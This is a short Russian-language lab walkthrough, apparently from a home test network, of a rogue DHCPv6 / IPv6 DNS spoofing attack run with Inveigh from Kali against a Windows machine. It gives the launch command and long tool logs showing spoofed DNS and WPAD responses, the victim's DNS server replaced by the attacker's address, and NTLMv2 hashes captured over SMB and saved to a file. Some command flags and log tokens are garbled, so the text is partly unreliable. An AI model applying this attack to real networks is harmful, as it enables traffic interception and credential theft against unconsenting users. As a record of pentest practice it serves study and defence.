

## Rogue DHCPv6 (IPv6 DNS Spoofing)

Установим релиз Invegh для linux и распакуем его

Добавим права на исполнение chmod +x invegh

Запустим invegh с нужными параметрами ./inveigh -dhcpv6 у -local у -ісtrpv6 у и перезапускаем windows

После запуска проверяем ipconfig /all и видим что в DNS сервер добавился IPv6 адрес линукс

```
Microsoft-Windows-IP-Addressing [21:53:23] DNS(A) request [api.msn.com] from fe80::7d43:b26c:6a60:6271x2 [response sent]
[21:53:23] DNS(A) request [cdn.oneote.net] from fe80::7d43:b26c:6a60:6271x2 [response sent]
[21:53:24] DNS(A) request [assets.msn.com] from fe80::7d43:b26c:6a60:6271x2 [response sent]
[21:53:25] DNS(A) request [www.bing.com] from fe80::7d43:b26c:6a60:6271x2 [response sent]
[21:53:25] DNS(A) request [r.bing.com] from fe80::7d43:b26c:6a60:6271x2 [response sent]
[21:53:26] DNS(A) request [geo.prod.do.dsp.mp.microsoft.com] from fe80::7d43:b26c:6a60:6271x2 [response sent]
[21:53:26] DNS(A) request [geo.prod.do.dsp.mp.microsoft.com] from fe80::7d43:b26c:6a60:6271x2 [response sent]
[21:53:29] HTTP(80) GET request from 192.168.0.15:49725 for /en-GB/Livetile/preinstall?regid=
[21:53:29] HTTP(80) host header tile-service.weather.microsoft.com from 192.168.0.15:49725
[21:53:29] HTTP(80) user agent from 192.168.0.15:49725:
Microsoft-WNS/10.0
[21:53:33] DHCPv6 [renew] from fe80::2937:5x2(DESKTOP-0BS1UFQ) [response sent]
[21:53:33] DHCPv6 [fe80::2937:5] renewed to [08:00:27:95:C9:94]
[21:53:36] DNS(A) request [wpad.HomeLAN] from fe80::7d43:b26c:6a60:6271x2 [response sent]
[21:53:36] DNS(A) request [wpad.HomeLAN] from fe80::7d43:b26c:6a60:6271x2 [response sent]
[21:53:36] HTTP(80) GET request from 192.168.0.15:49759 for /wpad.dat
[21:53:36] HTTP(80) host header wpad.homeLAN from 192.168.0.15:49759
[21:53:36] HTTP(80) user agent from 192.168.0.15:49759:
WinHttp-Autoproxy-Service/5.1
[21:53:36] LLNMR(ANY) request [DESKTOP-0BS1UFQ] from 192.168.0.15 [type ignore]
[21:53:36] LLNMR(ANY) request [DESKTOP-0BS1UFQ] from fe80::7d43:b26c:6a60:6271x2 [type ignore]
[21:53:36] LLNMR(ANY) request [DESKTOP-0BS1UFQ] from fe80::7d43:b26c:6a60:6271x2 [type ignore]
[21:53:36] LLNMR(ANY) request [DESKTOP-0BS1UFQ] from 192.168.0.15 [type ignore]
[21:53:51] DHCPv6 [renew] from fe80::2937:5x2(DESKTOP-0BS1UFQ) [response sent]
[21:53:51] DHCPv6 [fe80::2937:5] renewed to [08:00:27:95:C9:94]
[21:53:52] LLNMR(ANY) request [DESKTOP-0BS1UFQ] from 192.168.0.15 [type ignore]
[21:53:52] LLNMR(ANY) request [DESKTOP-0BS1UFQ] from fe80::7d43:b26c:6a60:6271x2 [type ignore]
[21:53:52] LLNMR(ANY) request [DESKTOP-0BS1UFQ] from fe80::7d43:b26c:6a60:6271x2 [type ignore]
[21:53:52] LLNMR(ANY) request [DESKTOP-0BS1UFQ] from 192.168.0.15 [type ignore]
[21:53:53] LLNMR(ANY) request [client.wms.windows.com] from fe80::7d43:b26c:6a60:6271x2 [response sent]
[21:53:56] DNS(A) request [cp601.prod.do.dsp.mp.microsoft.com] from fe80::7d43:b26c:6a60:6271x2 [response sent]
[21:54:01] DNS(A) request [api.msn.com] from fe80::7d43:b26c:6a60:6271x2 [response sent]
```

```
Select Command Prompt
Ethernet adapter Ethernet:
Connection-specific DNS Suffix . . . : HomeLAN
Description . . . . . : Intel(R) PRO/1000 MT Desktop Adapter
Physical Address. . . . . : 08-00-27-95-C9-94
DHCP Enabled. . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . : fe80::2937:5x14(Preferrred)
Lease Obtained. . . . . : 22 January 2025 18:53:21
Lease Expires . . . . . : 22 January 2025 18:54:35
Link-local IPv6 Address . . . . : fe80::7d43:b26c:6a60:6271x14(Preferrred)
IPv4 Address. . . . . : 192.168.0.15(Preferrred)
Subnet Mask . . . . . : 255.255.255.0
Lease Obtained. . . . . : 22 January 2025 18:53:20
Lease Expires . . . . . : 23 January 2025 18:53:20
Default Gateway . . . . . : 192.168.0.1
DHCP Server . . . . . : 192.168.0.1
DHCPv6 IAD . . . . . : 101187623
DHCPv6 Client DUID. . . . . : 00-01-00-01-2E-C3-F5-9A-08-00-27-95-C9-94
DNS Servers . . . . . : fe80::cac7:aa26:4acf:f85f
NetBIOS over Tcpip. . . . . : Enabled
C:\Users\test>
```

```
(kali@kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:98:b5:38 brd ff:ff:ff:ff:ff:ff
    inet 192.168.0.14/24 brd 192.168.0.255 scope global dynamic noprefixroute eth0
        valid_lft 86326sec preferred_lft 86326sec
    inet6 fe80::cac7:aa26:4acf:f85f/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
```

```
root@kali: /home/kali/Downloads/Inveigh-net8.0-linux-x64-trimmed-single-v2.0.11
[21:54:06] LLNMR(ANY) request [DESKTOP-0BS1UFQ] from 192.168.0.15 [type ignore]
[21:54:06] LLNMR(ANY) request [DESKTOP-0BS1UFQ] from fe80::7d43:b26c:6a60:6271x2 [type ignore]
[21:54:06] DNS(A) request [tile-service.weather.microsoft.com] from fe80::7d43:b26c:6a60:6271x2 [response sent]
[21:54:08] HTTP(80) GET request from 192.168.0.15:49917 for /en-GB/Livetile/preinstall?regid=
[21:54:08] HTTP(80) host header tile-service.weather.microsoft.com from 192.168.0.15:49917
[21:54:08] HTTP(80) user agent from 192.168.0.15:49917:
Microsoft-WNS/10.0
[21:54:18] DNS(A) request [wpad.HomeLAN] from fe80::7d43:b26c:6a60:6271x2 [response sent]
[21:54:18] DNS(A) request [wpad.HomeLAN] from fe80::7d43:b26c:6a60:6271x2 [response sent]
[21:54:18] HTTP(80) GET request from 192.168.0.15:49958 for /wpad.dat
[21:54:18] HTTP(80) host header wpad.homeLAN from 192.168.0.15:49958
[21:54:18] HTTP(80) user agent from 192.168.0.15:49958:
WinHttp-Autoproxy-Service/5.1
[21:54:21] DNS(A) request [geo.prod.do.dsp.mp.microsoft.com] from fe80::7d43:b26c:6a60:6271x2 [response sent]
[21:54:21] DHCPv6 [renew] from fe80::2937:5x2(DESKTOP-0BS1UFQ) [response sent]
[21:54:21] DHCPv6 [fe80::2937:5] renewed to [08:00:27:95:C9:94]
[21:54:21] DNS(A) request [licensing.mp.microsoft.com] from fe80::7d43:b26c:6a60:6271x2 [response sent]
[21:54:22] LLNMR(ANY) request [DESKTOP-0BS1UFQ] from fe80::7d43:b26c:6a60:6271x2 [type ignore]
[21:54:22] LLNMR(ANY) request [DESKTOP-0BS1UFQ] from 192.168.0.15 [type ignore]
[21:54:22] LLNMR(ANY) request [DESKTOP-0BS1UFQ] from fe80::7d43:b26c:6a60:6271x2 [type ignore]
[21:54:22] LLNMR(ANY) request [DESKTOP-0BS1UFQ] from 192.168.0.15 [type ignore]
[21:54:23] DNS(A) request [client.wms.windows.com] from fe80::7d43:b26c:6a60:6271x2 [response sent]
[21:54:24] DNS(A) request [api.msn.com] from fe80::7d43:b26c:6a60:6271x2 [response sent]
[21:54:25] DNS(A) request [arc.msn.com] from fe80::7d43:b26c:6a60:6271x2 [response sent]
[21:54:25] DNS(A) request [fd.api.iris.microsoft.com] from fe80::7d43:b26c:6a60:6271x2 [response sent]
[21:54:25] DNS(A) request [smb.HomeLAN] from fe80::7d43:b26c:6a60:6271x2 [response sent]
[21:54:25] SMB(445) negotiation request received from 192.168.0.15:50001
[21:54:25] SMB(445) negotiation request received from 192.168.0.15:50001
[21:54:25] DNS(A) request [cp601.prod.do.dsp.mp.microsoft.com] from fe80::7d43:b26c:6a60:6271x2 [response sent]
[21:54:25] SMB(445) NTLM challenge [485159455A544957] sent to 192.168.0.15:50001
[21:54:25] SMB(445) NTLMv2 captured for [.]test] written to Inveigh-NTLMv2.txt
[21:54:26] SMB(445) negotiation request received from 192.168.0.15:50001
[21:54:26] DNS(A) request [storeedgefd.dsx.mp.microsoft.com] from fe80::7d43:b26c:6a60:6271x2 [response sent]
[21:54:26] SMB(445) NTLM challenge [4E4A484E4C4D574A] sent to 192.168.0.15:50001
[21:54:26] SMB(445) NTLMv2 captured for [.]test] written to Inveigh-NTLMv2.txt
[21:54:26] SMB(445) negotiation request received from 192.168.0.15:50001
```

